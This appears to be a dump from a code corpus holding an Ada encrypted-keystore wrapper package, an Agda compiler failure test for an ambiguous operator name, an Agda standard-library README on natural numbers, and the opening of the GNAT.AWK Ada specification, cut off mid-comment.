-- Written by <NAME> (<EMAIL>)
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
-----------------------------------------------------------------------
with Util.Log.Loggers;
with Keystore.IO.Refs;
with Keystore.IO.Files;
package body Keystore.Files is
Log : constant Util.Log.Loggers.Logger := Util.Log.Loggers.Create ("Keystore.Files");
-- ------------------------------
-- Open the keystore file using the given password.
-- Raises the Bad_Password exception if no key slot match the password.
-- ------------------------------
procedure Open (Container : in out Wallet_File;
Password : in Secret_Key;
Path : in String;
Data_Path : in String := "";
Config : in Wallet_Config := Secure_Config) is
procedure Process (Provider : in out Keystore.Passwords.Provider'Class);
procedure Process (Provider : in out Keystore.Passwords.Provider'Class) is
Slot : Key_Slot;
begin
Container.Container.Unlock (Provider, Slot);
end Process;
Info : Wallet_Info;
begin
Container.Open (Path, Data_Path, Config, Info);
Keystore.Passwords.To_Provider (Password, Process'Access);
Log.Info ("Keystore {0} is opened", Path);
end Open;
-- ------------------------------
-- Open the keystore file without unlocking the wallet but get some information
-- from the header section.
-- ------------------------------
procedure Open (Container : in out Wallet_File;
Path : in String;
Data_Path : in String := "";
Config : in Wallet_Config := Secure_Config;
Info : out Wallet_Info) is
use IO.Files;
Block : IO.Storage_Block;
Wallet_Stream : IO.Files.Wallet_Stream_Access;
Stream : IO.Refs.Stream_Ref;
begin
Log.Debug ("Open keystore {0}", Path);
Block.Storage := IO.DEFAULT_STORAGE_ID;
Block.Block := 1;
Wallet_Stream := new IO.Files.Wallet_Stream;
Stream := IO.Refs.Create (Wallet_Stream.all'Access);
Wallet_Stream.Open (Path, Data_Path);
Container.Container.Open (Config, 1, Block, Stream);
Info := Wallet_Stream.Get_Info;
Log.Info ("Keystore {0} is opened", Path);
end Open;
-- ------------------------------
-- Create the keystore file and protect it with the given password.
-- The key slot #1 is used.
-- ------------------------------
procedure Create (Container : in out Wallet_File;
Password : in Secret_Key;
Path : in String;
Data_Path : in String := "";
Config : in Wallet_Config := Secure_Config) is
procedure Process (Provider : in out Keystore.Passwords.Provider'Class);
procedure Process (Provider : in out Keystore.Passwords.Provider'Class) is
begin
Container.Create (Provider, Path, Data_Path, Config);
end Process;
begin
Keystore.Passwords.To_Provider (Password, Process'Access);
end Create;
procedure Create (Container : in out Wallet_File;
Password : in out Keystore.Passwords.Provider'Class;
Path : in String;
Data_Path : in String := "";
Config : in Wallet_Config := Secure_Config) is
Block : IO.Storage_Block;
Wallet_Stream : IO.Files.Wallet_Stream_Access;
Stream : IO.Refs.Stream_Ref;
begin
Log.Debug ("Create keystore {0}", Path);
Wallet_Stream := new IO.Files.Wallet_Stream;
Stream := IO.Refs.Create (Wallet_Stream.all'Access);
Block.Storage := IO.DEFAULT_STORAGE_ID;
Block.Block := 1;
Wallet_Stream.Create (Path, Data_Path, Config);
Wallet_Stream.Allocate (IO.MASTER_BLOCK, Block);
Container.Container.Create (Password, Config, Block, 1, Stream);
end Create;
-- ------------------------------
-- Set the keystore master key before creating or opening the keystore.
-- ------------------------------
procedure Set_Master_Key (Container : in out Wallet_File;
Password : in out Keystore.Passwords.Keys.Key_Provider'Class) is
begin
Container.Container.Set_Master_Key (Password);
end Set_Master_Key;
-- ------------------------------
-- Unlock the wallet with the password.
-- Raises the Bad_Password exception if no key slot match the password.
-- ------------------------------
procedure Unlock (Container : in out Wallet_File;
Password : in Secret_Key) is
procedure Process (Provider : in out Keystore.Passwords.Provider'Class);
procedure Process (Provider : in out Keystore.Passwords.Provider'Class) is
Slot : Key_Slot;
begin
Container.Container.Unlock (Provider, Slot);
end Process;
begin
Keystore.Passwords.To_Provider (Password, Process'Access);
end Unlock;
procedure Unlock (Container : in out Wallet_File;
Password : in out Keystore.Passwords.Provider'Class;
Slot : out Key_Slot) is
begin
Container.Container.Unlock (Password, Slot);
end Unlock;
-- ------------------------------
-- Close the keystore file.
-- ------------------------------
procedure Close (Container : in out Wallet_File) is
begin
Container.Container.Close;
end Close;
-- ------------------------------
-- Set some header data in the keystore file.
-- ------------------------------
procedure Set_Header_Data (Container : in out Wallet_File;
Index : in Header_Slot_Index_Type;
Kind : in Header_Slot_Type;
Data : in Ada.Streams.Stream_Element_Array) is
begin
Container.Container.Set_Header_Data (Index, Kind, Data);
end Set_Header_Data;
-- ------------------------------
-- Get the header data information from the keystore file.
-- ------------------------------
procedure Get_Header_Data (Container : in out Wallet_File;
Index : in Header_Slot_Index_Type;
Kind : out Header_Slot_Type;
Data : out Ada.Streams.Stream_Element_Array;
Last : out Ada.Streams.Stream_Element_Offset) is
begin
Container.Container.Get_Header_Data (Index, Kind, Data, Last);
end Get_Header_Data;
-- Add in the wallet the named entry and associate it the children wallet.
-- The children wallet meta data is protected by the container.
-- The children wallet has its own key to protect the named entries it manages.
procedure Add (Container : in out Wallet_File;
Name : in String;
Password : in out Keystore.Passwords.Provider'Class;
Wallet : in out Wallet_File'Class) is
begin
null;
Keystore.Containers.Add_Wallet (Container.Container, Name, Password, Wallet.Container);
end Add;
procedure Add (Container : in out Wallet_File;
Name : in String;
Password : in Keystore.Secret_Key;
Wallet : in out Wallet_File'Class) is
procedure Process (Provider : in out Keystore.Passwords.Provider'Class);
procedure Process (Provider : in out Keystore.Passwords.Provider'Class) is
begin
Container.Add (Name, Provider, Wallet);
end Process;
begin
Keystore.Passwords.To_Provider (Password, Process'Access);
end Add;
-- Load from the container the named children wallet.
procedure Open (Container : in out Wallet_File;
Name : in String;
Password : in out Keystore.Passwords.Provider'Class;
Wallet : in out Wallet_File'Class) is
begin
Keystore.Containers.Open_Wallet (Container.Container, Name, Password, Wallet.Container);
end Open;
procedure Open (Container : in out Wallet_File;
Name : in String;
Password : in Keystore.Secret_Key;
Wallet : in out Wallet_File'Class) is
procedure Process (Provider : in out Keystore.Passwords.Provider'Class);
procedure Process (Provider : in out Keystore.Passwords.Provider'Class) is
begin
Container.Open (Name, Provider, Wallet);
end Process;
begin
Keystore.Passwords.To_Provider (Password, Process'Access);
end Open;
-- ------------------------------
-- Return True if the container was configured.
-- ------------------------------
overriding
function Is_Configured (Container : in Wallet_File) return Boolean is
begin
return Container.Container.Get_State = S_PROTECTED;
end Is_Configured;
-- ------------------------------
-- Return True if the container can be accessed.
-- ------------------------------
overriding
function Is_Open (Container : in Wallet_File) return Boolean is
begin
return Container.Container.Get_State = S_OPEN;
end Is_Open;
-- ------------------------------
-- Get the wallet state.
-- ------------------------------
overriding
function State (Container : in Wallet_File) return State_Type is
begin
return Container.Container.Get_State;
end State;
-- ------------------------------
-- Set the key to encrypt and decrypt the container meta data.
-- ------------------------------
overriding
procedure Set_Key (Container : in out Wallet_File;
Password : in Secret_Key;
New_Password : in Secret_Key;
Config : in Wallet_Config;
Mode : in Mode_Type) is
procedure Process (Provider : in out Keystore.Passwords.Provider'Class);
procedure Process (Provider : in out Keystore.Passwords.Provider'Class) is
procedure Process_New (New_Provider : in out Keystore.Passwords.Provider'Class);
procedure Process_New (New_Provider : in out Keystore.Passwords.Provider'Class) is
begin
Container.Container.Set_Key (Provider, New_Provider, Config, Mode);
end Process_New;
begin
Keystore.Passwords.To_Provider (New_Password, Process_New'Access);
end Process;
begin
Keystore.Passwords.To_Provider (Password, Process'Access);
end Set_Key;
procedure Set_Key (Container : in out Wallet_File;
Password : in out Keystore.Passwords.Provider'Class;
New_Password : in out Keystore.Passwords.Provider'Class;
Config : in Wallet_Config := Secure_Config;
Mode : in Mode_Type := KEY_REPLACE) is
begin
Container.Container.Set_Key (Password, New_Password, Config, Mode);
end Set_Key;
-- ------------------------------
-- Remove the key from the key slot identified by `Slot`. The password is necessary to
-- make sure a valid password is available. The `Remove_Current` must be set to remove
-- the slot when it corresponds to the used password.
-- ------------------------------
procedure Remove_Key (Container : in out Wallet_File;
Password : in out Keystore.Passwords.Provider'Class;
Slot : in Key_Slot;
Force : in Boolean) is
begin
Container.Container.Remove_Key (Password, Slot, Force);
end Remove_Key;
-- ------------------------------
-- Return True if the container contains the given named entry.
-- ------------------------------
overriding
function Contains (Container : in Wallet_File;
Name : in String) return Boolean is
begin
return Container.Container.Contains (Name);
end Contains;
-- ------------------------------
-- Add in the wallet the named entry and associate it the content.
-- The content is encrypted in AES-CBC with a secret key and an IV vector
-- that is created randomly for the new named entry.
-- ------------------------------
overriding
procedure Add (Container : in out Wallet_File;
Name : in String;
Kind : in Entry_Type := T_BINARY;
Content : in Ada.Streams.Stream_Element_Array) is
begin
Container.Container.Add (Name, Kind, Content);
end Add;
overriding
procedure Add (Container : in out Wallet_File;
Name : in String;
Kind : in Entry_Type := T_BINARY;
Input : in out Util.Streams.Input_Stream'Class) is
begin
Container.Container.Add (Name, Kind, Input);
end Add;
-- ------------------------------
-- Add or update in the wallet the named entry and associate it the content.
-- The content is encrypted in AES-CBC with a secret key and an IV vector
-- that is created randomly for the new or updated named entry.
-- ------------------------------
overriding
procedure Set (Container : in out Wallet_File;
Name : in String;
Kind : in Entry_Type := T_BINARY;
Content : in Ada.Streams.Stream_Element_Array) is
begin
Container.Container.Set (Name, Kind, Content);
end Set;
-- ------------------------------
-- Add or update in the wallet the named entry and associate it the content.
-- The content is encrypted in AES-CBC with a secret key and an IV vector
-- that is created randomly for the new or updated named entry.
-- ------------------------------
overriding
procedure Set (Container : in out Wallet_File;
Name : in String;
Kind : in Entry_Type := T_BINARY;
Input : in out Util.Streams.Input_Stream'Class) is
begin
Container.Container.Set (Name, Kind, Input);
end Set;
-- ------------------------------
-- Update in the wallet the named entry and associate it the new content.
-- The secret key and IV vectors are not changed.
-- ------------------------------
procedure Update (Container : in out Wallet_File;
Name : in String;
Kind : in Entry_Type := T_BINARY;
Content : in Ada.Streams.Stream_Element_Array) is
begin
Container.Container.Update (Name, Kind, Content);
end Update;
-- ------------------------------
-- Read from the wallet the named entry starting at the given position.
-- Upon successful completion, Last will indicate the last valid position of
-- the Content array.
-- ------------------------------
overriding
procedure Read (Container : in out Wallet_File;
Name : in String;
Offset : in Ada.Streams.Stream_Element_Offset;
Content : out Ada.Streams.Stream_Element_Array;
Last : out Ada.Streams.Stream_Element_Offset) is
begin
Container.Container.Read (Name, Offset, Content, Last);
end Read;
-- ------------------------------
-- Write in the wallet the named entry starting at the given position.
-- The existing content is overwritten or new content is appended.
-- ------------------------------
overriding
procedure Write (Container : in out Wallet_File;
Name : in String;
Offset : in Ada.Streams.Stream_Element_Offset;
Content : in Ada.Streams.Stream_Element_Array) is
begin
Container.Container.Write (Name, Offset, Content);
end Write;
-- ------------------------------
-- Delete from the wallet the named entry.
-- ------------------------------
overriding
procedure Delete (Container : in out Wallet_File;
Name : in String) is
begin
Container.Container.Delete (Name);
end Delete;
overriding
procedure Get (Container : in out Wallet_File;
Name : in String;
Info : out Entry_Info;
Content : out Ada.Streams.Stream_Element_Array) is
begin
Container.Container.Get_Data (Name, Info, Content);
end Get;
-- ------------------------------
-- Write in the output stream the named entry value from the wallet.
-- ------------------------------
overriding
procedure Get (Container : in out Wallet_File;
Name : in String;
Output : in out Util.Streams.Output_Stream'Class) is
begin
Container.Container.Get_Data (Name, Output);
end Get;
-- ------------------------------
-- Get the list of entries contained in the wallet that correspond to the optional filter.
-- ------------------------------
overriding
procedure List (Container : in out Wallet_File;
Filter : in Filter_Type := (others => True);
Content : out Entry_Map) is
begin
Container.Container.List (Filter, Content);
end List;
-- ------------------------------
-- Get the list of entries contained in the wallet that correspond to the optiona filter
-- and whose name matches the pattern.
-- ------------------------------
procedure List (Container : in out Wallet_File;
Pattern : in GNAT.Regpat.Pattern_Matcher;
Filter : in Filter_Type := (others => True);
Content : out Entry_Map) is
begin
Container.Container.List (Pattern, Filter, Content);
end List;
overriding
function Find (Container : in out Wallet_File;
Name : in String) return Entry_Info is
Result : Entry_Info;
begin
Container.Container.Find (Name, Result);
return Result;
end Find;
-- ------------------------------
-- Get wallet file information and statistics.
-- ------------------------------
procedure Get_Stats (Container : in out Wallet_File;
Stats : out Wallet_Stats) is
begin
Container.Container.Get_Stats (Stats);
end Get_Stats;
procedure Set_Work_Manager (Container : in out Wallet_File;
Workers : in Keystore.Task_Manager_Access) is
begin
Container.Container.Set_Work_Manager (Workers);
end Set_Work_Manager;
overriding
procedure Initialize (Wallet : in out Wallet_File) is
begin
Wallet.Container.Initialize;
end Initialize;
overriding
procedure Finalize (Wallet : in out Wallet_File) is
begin
if Wallet.Is_Open then
Wallet.Container.Close;
end if;
end Finalize;
end Keystore.Files;
|
test/Fail/Issue1194m.agda | cruhland/agda | 1,989 | 1752 | <reponame>cruhland/agda
module _ where
postulate D : Set
module A where
infixr 5 _∷_
postulate
_∷_ : Set₁ → D → D
module B where
infix 5 _∷_
postulate
_∷_ : Set₁ → Set₁ → D
open A
open B
foo : D
foo = Set ∷ Set
-- Expected error:
--
-- <preciseErrorLocation>
-- Ambiguous name _∷_. It could refer to any one of
-- A._∷_ bound at ...
-- B._∷_ bound at ...
|
agda-stdlib/README/Data/Nat.agda | DreamLinuxer/popl21-artifact | 5 | 15824 | ------------------------------------------------------------------------
-- The Agda standard library
--
-- Some examples showing where the natural numbers and some related
-- operations and properties are defined, and how they can be used
------------------------------------------------------------------------
{-# OPTIONS --without-K #-}
module README.Data.Nat where
-- The natural numbers and various arithmetic operations are defined
-- in Data.Nat.
open import Data.Nat using (ℕ; _+_; _*_)
-- _*_ has precedence 7 over precedence 6 of _+_
-- precedence of both defined in module Agda.Builtin.Nat
ex₁ : ℕ
ex₁ = 1 + 3 * 4
-- Propositional equality and some related properties can be found
-- in Relation.Binary.PropositionalEquality.
open import Relation.Binary.PropositionalEquality using (_≡_; refl)
ex₂ : 3 + 5 ≡ 2 * 4
ex₂ = refl
-- Data.Nat.Properties contains a number of properties about natural
-- numbers.
open import Data.Nat.Properties using (*-comm; +-identityʳ)
ex₃ : ∀ m n → m * n ≡ n * m
ex₃ m n = *-comm m n
-- The module ≡-Reasoning in Relation.Binary.PropositionalEquality
-- provides some combinators for equational reasoning.
open Relation.Binary.PropositionalEquality using (cong; module ≡-Reasoning)
ex₄ : ∀ m n → m * (n + 0) ≡ n * m
ex₄ m n = begin
m * (n + 0) ≡⟨ cong (_*_ m) (+-identityʳ n) ⟩
m * n ≡⟨ *-comm m n ⟩
n * m ∎
where open ≡-Reasoning
-- The module SemiringSolver in Data.Nat.Solver contains a solver
-- for natural number equalities involving variables, constants, _+_
-- and _*_.
open import Data.Nat.Solver using (module +-*-Solver)
open +-*-Solver using (solve; _:*_; _:+_; con; _:=_)
ex₅ : ∀ m n → m * (n + 0) ≡ n * m
ex₅ = solve 2 (λ m n → m :* (n :+ con 0) := n :* m) refl
|
Validation/pyFrame3DD-master/gcc-master/gcc/ada/libgnat/g-awk.ads | djamal2727/Main-Bearing-Analytical-Model | 0 | 10786 | <filename>Validation/pyFrame3DD-master/gcc-master/gcc/ada/libgnat/g-awk.ads
------------------------------------------------------------------------------
-- --
-- GNAT COMPILER COMPONENTS --
-- --
-- G N A T . A W K --
-- --
-- S p e c --
-- --
-- Copyright (C) 2000-2020, AdaCore --
-- --
-- GNAT is free software; you can redistribute it and/or modify it under --
-- terms of the GNU General Public License as published by the Free Soft- --
-- ware Foundation; either version 3, or (at your option) any later ver- --
-- sion. GNAT is distributed in the hope that it will be useful, but WITH- --
-- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY --
-- or FITNESS FOR A PARTICULAR PURPOSE. --
-- --
-- As a special exception under Section 7 of GPL version 3, you are granted --
-- additional permissions described in the GCC Runtime Library Exception, --
-- version 3.1, as published by the Free Software Foundation. --
-- --
-- You should have received a copy of the GNU General Public License and --
-- a copy of the GCC Runtime Library Exception along with this program; --
-- see the files COPYING3 and COPYING.RUNTIME respectively. If not, see --
-- <http://www.gnu.org/licenses/>. --
-- --
-- GNAT was originally developed by the GNAT team at New York University. --
-- Extensive contributions were provided by Ada Core Technologies Inc. --
-- --
------------------------------------------------------------------------------
-- This is an AWK-like unit. It provides an easy interface for parsing one
-- or more files containing formatted data. The file can be viewed seen as
-- a database where each record is a line and a field is a data element in
-- this line. In this implementation an AWK record is a line. This means
-- that a record cannot span multiple lines. The operating procedure is to
-- read files line by line, with each line being presented to the user of
-- the package. The interface provides services to access specific fields
-- in the line. Thus it is possible to control actions taken on a line based
-- on values of some fields. This can be achieved directly or by registering
-- callbacks triggered on programmed conditions.
--
-- The state of an AWK run is recorded in an object of type session.
-- The following is the procedure for using a session to control an
-- AWK run:
--
-- 1) Specify which session is to be used. It is possible to use the
-- default session or to create a new one by declaring an object of
-- type Session_Type. For example:
--
-- Computers : Session_Type;
--
-- 2) Specify how to cut a line into fields. There are two modes: using
-- character fields separators or column width. This is done by using
-- Set_Fields_Separators or Set_Fields_Width. For example by:
--
-- AWK.Set_Field_Separators (";,", Computers);
--
-- or by using iterators' Separators parameter.
--
-- 3) Specify which files to parse. This is done with Add_File/Add_Files
-- services, or by using the iterators' Filename parameter. For
-- example:
--
-- AWK.Add_File ("myfile.db", Computers);
--
-- 4) Run the AWK session using one of the provided iterators.
--
-- Parse
-- This is the most automated iterator. You can gain control on
-- the session only by registering one or more callbacks (see
-- Register).
--
-- Get_Line/End_Of_Data
-- This is a manual iterator to be used with a loop. You have
-- complete control on the session. You can use callbacks but
-- this is not required.
--
-- For_Every_Line
-- This provides a mixture of manual/automated iterator action.
--
-- Examples of these three approaches appear below
--
-- There are many ways to use this package. The following discussion shows
-- three approaches to using this package, using the three iterator forms.
-- All examples will use the following file (computer.db):
--
-- Pluton;Windows-NT;Pentium III
-- Mars;Linux;Pentium Pro
-- Venus;Solaris;Sparc
-- Saturn;OS/2;i486
-- Jupiter;MacOS;PPC
--
-- 1) Using Parse iterator
--
-- Here the first step is to register some action associated to a pattern
-- and then to call the Parse iterator (this is the simplest way to use
-- this unit). The default session is used here. For example to output the
-- second field (the OS) of computer "Saturn".
--
-- procedure Action is
-- begin
-- Put_Line (AWK.Field (2));
-- end Action;
--
-- begin
-- AWK.Register (1, "Saturn", Action'Access);
-- AWK.Parse (";", "computer.db");
--
--
-- 2) Using the Get_Line/End_Of_Data iterator
--
-- Here you have full control. For example to do the same as
-- above but using a specific session, you could write:
--
-- Computer_File : Session_Type;
--
-- begin
-- AWK.Set_Current (Computer_File);
-- AWK.Open (Separators => ";",
-- Filename => "computer.db");
--
-- -- Display Saturn OS
--
-- while not AWK.End_Of_File loop
-- AWK.Get_Line;
--
-- if AWK.Field (1) = "Saturn" then
-- Put_Line (AWK.Field (2));
-- end if;
-- end loop;
--
-- AWK.Close (Computer_File);
--
--
-- 3) Using For_Every_Line iterator
--
-- In this case you use a provided iterator and you pass the procedure
-- that must be called for each record. You could code the previous
-- example could be coded as follows (using the iterator quick interface
-- but without using the current session):
--
-- Computer_File : Session_Type;
--
-- procedure Action (Quit : in out Boolean) is
-- begin
-- if AWK.Field (1, Computer_File) = "Saturn" then
-- Put_Line (AWK.Field (2, Computer_File));
-- end if;
-- end Action;
--
-- procedure Look_For_Saturn is
-- new AWK.For_Every_Line (Action);
--
-- begin
-- Look_For_Saturn (Separators => ";",
-- Filename => "computer.db",
-- Session => Computer_File);
--
-- Integer_Text_IO.Put
-- (Integer (AWK.NR (Session => Computer_File)));
-- Put_Line (" line(s) have been processed.");
--
-- You can also use a regular expression for the pattern. Let us output
-- the computer name for all computer for which the OS has a character
-- O in its name.
--
-- Regexp : String := ".*O.*";
--
-- Matcher : Regpat.Pattern_Matcher := Regpat.Compile (Regexp);
--
-- procedure Action is
-- begin
-- Text_IO.Put_Line (AWK.Field (2));
-- end Action;
--
-- begin
-- AWK.Register (2, Matcher, Action'Unrestricted_Access);
-- AWK.Parse (";", "computer.db");
--
with Ada.Finalization;
with GNAT.Regpat;
package GNAT.AWK is
Session_Error : exception;
-- Raised when a Session is reused but is not closed
File_Error : exception;
-- Raised when there is a file problem (see below)
End_Error : exception;
-- Raised when an attempt is made to read beyond the end of the last
-- file of a session.
Field_Error : exception;
-- Raised when accessing a field value which does not exist
Data_Error : exception;
-- Raised when it is impossible to convert a field value to a specific type
type Count is new Natural;
type Widths_Set is array (Positive range <>) of Positive;
-- Used to store a set of columns widths
Default_Separators : constant String := " " & ASCII.HT;
Use_Current : constant String := "";
-- Value used when no separator or filename is specified in iterators
type Session_Type is limited private;
-- This is the main exported type. A session is used to keep the state of
-- a full AWK run. The state comprises a list of files, the current file,
-- the number of line processed, the current line, the number of fields in
-- the current line... A default session is provided (see Set_Current,
-- Current_Session and Default_Session below).
----------------------------
-- Package initialization --
----------------------------
-- To be thread safe it is not possible to use the default provided
-- session. Each task must used a specific session and specify it
-- explicitly for every services.
procedure Set_Current (Session : Session_Type);
-- Set the session to be used by default. This file will be used when the
-- Session parameter in following services is not specified.
function Current_Session return not null access Session_Type;
-- Returns the session used by default by all services. This is the
-- latest session specified by Set_Current service or the session
-- provided by default with this implementation.
function Default_Session return not null access Session_Type;
-- Returns the default session provided by this package. Note that this is
-- the session return by Current_Session if Set_Current has not been used.
procedure Set_Field_Separators
(Separators : String := Default_Separators;
Session : Session_Type);
procedure Set_Field_Separators
(Separators : String := Default_Separators);
-- Set the field separators. Each character in the string is a field
-- separator. When a line is read it will be split by field using the
-- separators set here. Separators can be changed at any point and in this
-- case the current line is split according to the new separators. In the
-- special case that Separators is a space and a tabulation
-- (Default_Separators), fields are separated by runs of spaces and/or
-- tabs.
procedure Set_FS
(Separators : String := Default_Separators;
Session : Session_Type)
renames Set_Field_Separators;
procedure Set_FS
(Separators : String := Default_Separators)
renames Set_Field_Separators;
-- FS is the AWK abbreviation for above service
procedure Set_Field_Widths
(Field_Widths : Widths_Set;
Session : Session_Type);
procedure Set_Field_Widths
(Field_Widths : Widths_Set);
-- This is another way to split a line by giving the length (in number of
-- characters) of each field in a line. Field widths can be changed at any
-- point and in this case the current line is split according to the new
-- field lengths. A line split with this method must have a length equal or
-- greater to the total of the field widths. All characters remaining on
-- the line after the latest field are added to a new automatically
-- created field.
procedure Add_File
(Filename : String;
Session : Session_Type);
procedure Add_File
(Filename : String);
-- Add Filename to the list of file to be processed. There is no limit on
-- the number of files that can be added. Files are processed in the order
-- they have been added (i.e. the filename list is FIFO). If Filename does
-- not exist or if it is not readable, File_Error is raised.
procedure Add_Files
(Directory : String;
Filenames : String;
Number_Of_Files_Added : out Natural;
Session : Session_Type);
procedure Add_Files
(Directory : String;
Filenames : String;
Number_Of_Files_Added : out Natural);
-- Add all files matching the regular expression Filenames in the specified
-- directory to the list of file to be processed. There is no limit on
-- the number of files that can be added. Each file is processed in
-- the same order they have been added (i.e. the filename list is FIFO).
-- The number of files (possibly 0) added is returned in
-- Number_Of_Files_Added.
-------------------------------------
-- Information about current state --
-------------------------------------
function Number_Of_Fields
(Session : Session_Type) return Count;
function Number_Of_Fields
return Count;
pragma Inline (Number_Of_Fields);
-- Returns the number of fields in the current record. It returns 0 when
-- no file is being processed.
function NF
(Session : Session_Type) return Count
renames Number_Of_Fields;
function NF
return Count
renames Number_Of_Fields;
-- AWK abbreviation for above service
function Number_Of_File_Lines
(Session : Session_Type) return Count;
function Number_Of_File_Lines
return Count;
pragma Inline (Number_Of_File_Lines);
-- Returns the current line number in the processed file. It returns 0 when
-- no file is being processed.
function FNR (Session : Session_Type) return Count
renames Number_Of_File_Lines;
function FNR return Count
renames Number_Of_File_Lines;
-- AWK abbreviation for above service
function Number_Of_Lines
(Session : Session_Type) return Count;
function Number_Of_Lines
return Count;
pragma Inline (Number_Of_Lines);
-- Returns the number of line processed until now. This is equal to number
-- of line in each already processed file plus FNR. It returns 0 when
-- no file is being processed.
function NR (Session : Session_Type) return Count
renames Number_Of_Lines;
function NR return Count
renames Number_Of_Lines;
-- AWK abbreviation for above service
function Number_Of_Files
(Session : Session_Type) return Natural;
function Number_Of_Files
return Natural;
pragma Inline (Number_Of_Files);
-- Returns the number of files associated with Session. This is the total
-- number of files added with Add_File and Add_Files services.
function File (Session : Session_Type) return String;
function File return String;
-- Returns the name of the file being processed. It returns the empty
-- string when no file is being processed.
---------------------
-- Field accessors --
---------------------
function Field
(Rank : Count;
Session : Session_Type) return String;
function Field
(Rank : Count) return String;
-- Returns field number Rank value of the current record. If Rank = 0 it
-- returns the current record (i.e. the line as read in the file). It
-- raises Field_Error if Rank > NF or if Session is not open.
function Field
(Rank : Count;
Session : Session_Type) return Integer;
function Field
(Rank : Count) return Integer;
-- Returns field number Rank value of the current record as an integer. It
-- raises Field_Error if Rank > NF or if Session is not open. It
-- raises Data_Error if the field value cannot be converted to an integer.
function Field
(Rank : Count;
Session : Session_Type) return Float;
function Field
(Rank : Count) return Float;
-- Returns field number Rank value of the current record as a float. It
-- raises Field_Error if Rank > NF or if Session is not open. It
-- raises Data_Error if the field value cannot be converted to a float.
generic
type Discrete is (<>);
function Discrete_Field
(Rank : Count;
Session : Session_Type) return Discrete;
generic
type Discrete is (<>);
function Discrete_Field_Current_Session
(Rank : Count) return Discrete;
-- Returns field number Rank value of the current record as a type
-- Discrete. It raises Field_Error if Rank > NF. It raises Data_Error if
-- the field value cannot be converted to type Discrete.
--------------------
-- Pattern/Action --
--------------------
-- AWK defines rules like "PATTERN { ACTION }". Which means that ACTION
-- will be executed if PATTERN match. A pattern in this implementation can
-- be a simple string (match function is equality), a regular expression,
-- a function returning a boolean. An action is associated to a pattern
-- using the Register services.
--
-- Each procedure Register will add a rule to the set of rules for the
-- session. Rules are examined in the order they have been added.
type Pattern_Callback is access function return Boolean;
-- This is a pattern function pointer. When it returns True the associated
-- action will be called.
type Action_Callback is access procedure;
-- A simple action pointer
type Match_Action_Callback is
access procedure (Matches : GNAT.Regpat.Match_Array);
-- An advanced action pointer used with a regular expression pattern. It
-- returns an array of all the matches. See GNAT.Regpat for further
-- information.
procedure Register
(Field : Count;
Pattern : String;
Action : Action_Callback;
Session : Session_Type);
procedure Register
(Field : Count;
Pattern : String;
Action : Action_Callback);
-- Register an Action associated with a Pattern. The pattern here is a
-- simple string that must match exactly the field number specified.
procedure Register
(Field : Count;
Pattern : GNAT.Regpat.Pattern_Matcher;
Action : Action_Callback;
Session : Session_Type);
procedure Register
(Field : Count;
Pattern : GNAT.Regpat.Pattern_Matcher;
Action : Action_Callback);
-- Register an Action associated with a Pattern. The pattern here is a
-- simple regular expression which must match the field number specified.
procedure Register
(Field : Count;
Pattern : GNAT.Regpat.Pattern_Matcher;
Action : Match_Action_Callback;
Session : Session_Type);
procedure Register
(Field : Count;
Pattern : GNAT.Regpat.Pattern_Matcher;
Action : Match_Action_Callback);
-- Same as above but it pass the set of matches to the action
-- procedure. This is useful to analyze further why and where a regular
-- expression did match.
procedure Register
(Pattern : Pattern_Callback;
Action : Action_Callback;
Session : Session_Type);
procedure Register
(Pattern : Pattern_Callback;
Action : Action_Callback);
-- Register an Action associated with a Pattern. The pattern here is a
-- function that must return a boolean. Action callback will be called if
-- the pattern callback returns True and nothing will happen if it is
-- False. This version is more general, the two other register services
-- trigger an action based on the value of a single field only.
procedure Register
(Action : Action_Callback;
Session : Session_Type);
procedure Register
(Action : Action_Callback);
-- Register an Action that will be called for every line. This is
-- equivalent to a Pattern_Callback function always returning True.
--------------------
-- Parse iterator --
--------------------
procedure Parse
(Separators : String := Use_Current;
Filename : String := Use_Current;
Session : Session_Type);
procedure Parse
(Separators : String := Use_Current;
Filename : String := Use_Current);
-- Launch the iterator, it will read every line in all specified
-- session's files. Registered callbacks are then called if the associated
-- pattern match. It is possible to specify a filename and a set of
-- separators directly. This offer a quick way to parse a single
-- file. These parameters will override those specified by Set_FS and
-- Add_File. The Session will be opened and closed automatically.
-- File_Error is raised if there is no file associated with Session, or if
-- a file associated with Session is not longer readable. It raises
-- Session_Error is Session is already open.
-----------------------------------
-- Get_Line/End_Of_Data Iterator --
-----------------------------------
type Callback_Mode is (None, Only, Pass_Through);
-- These mode are used for Get_Line/End_Of_Data and For_Every_Line
-- iterators. The associated semantic is:
--
-- None
-- callbacks are not active. This is the default mode for
-- Get_Line/End_Of_Data and For_Every_Line iterators.
--
-- Only
-- callbacks are active, if at least one pattern match, the associated
-- action is called and this line will not be passed to the user. In
-- the Get_Line case the next line will be read (if there is some
-- line remaining), in the For_Every_Line case Action will
-- not be called for this line.
--
-- Pass_Through
-- callbacks are active, for patterns which match the associated
-- action is called. Then the line is passed to the user. It means
-- that Action procedure is called in the For_Every_Line case and
-- that Get_Line returns with the current line active.
--
procedure Open
(Separators : String := Use_Current;
Filename : String := Use_Current;
Session : Session_Type);
procedure Open
(Separators : String := Use_Current;
Filename : String := Use_Current);
-- Open the first file and initialize the unit. This must be called once
-- before using Get_Line. It is possible to specify a filename and a set of
-- separators directly. This offer a quick way to parse a single file.
-- These parameters will override those specified by Set_FS and Add_File.
-- File_Error is raised if there is no file associated with Session, or if
-- the first file associated with Session is no longer readable. It raises
-- Session_Error is Session is already open.
procedure Get_Line
(Callbacks : Callback_Mode := None;
Session : Session_Type);
procedure Get_Line
(Callbacks : Callback_Mode := None);
-- Read a line from the current input file. If the file index is at the
-- end of the current input file (i.e. End_Of_File is True) then the
-- following file is opened. If there is no more file to be processed,
-- exception End_Error will be raised. File_Error will be raised if Open
-- has not been called. Next call to Get_Line will return the following
-- line in the file. By default the registered callbacks are not called by
-- Get_Line, this can activated by setting Callbacks (see Callback_Mode
-- description above). File_Error may be raised if a file associated with
-- Session is not readable.
--
-- When Callbacks is not None, it is possible to exhaust all the lines
-- of all the files associated with Session. In this case, File_Error
-- is not raised.
--
